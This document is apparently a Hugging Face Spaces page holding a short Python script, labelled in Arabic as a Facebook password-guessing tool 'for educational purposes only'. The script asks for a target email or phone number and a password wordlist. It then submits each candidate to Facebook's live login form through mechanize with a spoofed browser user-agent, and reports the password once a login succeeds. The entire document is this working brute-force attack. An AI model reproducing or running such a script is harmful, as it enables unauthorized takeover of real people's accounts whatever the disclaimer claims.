Spaces:
Runtime error
Runtime error
import requests | |
from bs4 import BeautifulSoup | |
import mechanize | |
import sys | |
def facebook_cracker(): | |
print("\n\n\t\t=== أداة تخمين كلمة مرور فيسبوك ===") | |
print("\t\t(هذا الكود للأغراض التعليمية فقط)\n") | |
email = input("أدخل البريد الإلكتروني أو رقم الهاتف: ") | |
password_list = input("أدخل مسار ملف كلمات المرور (wordlist.txt): ") | |
try: | |
with open(password_list, 'r') as file: | |
passwords = file.readlines() | |
except: | |
print("\n[!] خطأ في فتح ملف كلمات المرور") | |
sys.exit(1) | |
br = mechanize.Browser() | |
br.set_handle_robots(False) | |
br.addheaders = [('User-agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36')] | |
print("\n[+] بدء عملية التخمين...") | |
for password in passwords: | |
password = password.strip() | |
try: | |
br.open("https://www.facebook.com/login.php") | |
br.select_form(nr=0) | |
br.form['email'] = email | |
br.form['pass'] = password | |
response = br.submit() | |
if "login_attempt" not in response.geturl(): | |
print("\n[+] تم العثور على كلمة المرور!") | |
print(f"[+] كلمة المرور هي: {password}") | |
sys.exit(0) | |
else: | |
print(f"[-] تجربة كلمة المرور: {password} - فشلت") | |
except: | |
print("\n[!] حدث خطأ أثناء الاتصال بفيسبوك") | |
sys.exit(1) | |
print("\n[-] لم يتم العثور على كلمة المرور في القائمة المقدمة") | |
if __name__ == "__main__": | |
facebook_cracker() |